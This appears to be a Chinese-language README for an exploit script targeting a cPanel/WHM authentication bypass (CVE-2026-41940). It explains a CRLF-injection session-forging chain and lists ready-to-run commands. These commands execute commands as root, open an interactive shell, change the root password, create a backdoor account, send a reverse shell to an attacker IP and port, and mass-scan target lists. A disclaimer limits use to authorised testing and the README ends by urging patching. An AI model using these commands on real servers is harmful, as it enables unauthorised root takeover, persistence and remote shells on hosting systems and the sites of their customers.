CVE-2026-41940:cPanel/WHM 身份验证绕过(单目标与多目标)
免责声明: 本文档及关联脚本(exploit.py)仅用于教育目的、安全研究和授权渗透测试。请勿将该软件用于您不拥有或未经明确许可测试的系统。
概述
exploit.py 是一个演示 cPanel 与 WHM 中身份验证绕过漏洞(CVE-2026-41940)的脚本。该漏洞允许未认证的攻击者通过 CRLF 注入缺陷,将 root 会话注入守护进程缓存,最终在无需有效凭据的情况下获得 root 级 WHM 访问权限。
漏洞分析与利用流程
该漏洞利用 Basic Authentication 处理机制中的 CRLF(回车换行)注入漏洞,并结合会话传播缺陷。该脚本分四个阶段自动化执行攻击:
- 预认证会话铸造: 连接公开登录端点(例如
/login/ 或 /cgi/login.cgi),获取一个未认证的基线会话 Cookie(whostmgrsession)。
- CRLF 注入: 发送一个包含 Base64 编码载荷的恶意 Basic Authentication 头,将 root 会话字段直接注入
cpsrvd 会话缓存。服务器的重定向响应会泄露生成的 security token(cpsess)。
- 会话传播: 将原始会话 Cookie 发送到已认证的 WHM 端点,触发
do_token_denied 将伪造会话传播到守护进程缓存——使其成为有效的已认证会话。
- 验证: 使用伪造会话访问受限的 WHM API 端点(例如
/json-api/version),确认 root 级访问权限。
先决条件
用法
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
参数
目标选择
| 参数 | 描述 |
|---|
--target URL | 单个 WHM URL(例如 https://target:2087) |
--target-file FILE | 包含目标的文件(每行一个 ip:port)——自动启用检查模式 |
网络与核心选项
利用选项(绕过后)
输出选项
| 参数 | 描述 |
|---|
--output FILE | 将会话 token 和详细信息保存到 JSON 文件 |
示例
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
交互式 Shell 命令
使用 --shell 时,以下命令可用:
提醒
请立即更新最新的 cPanel/WHM 安全补丁。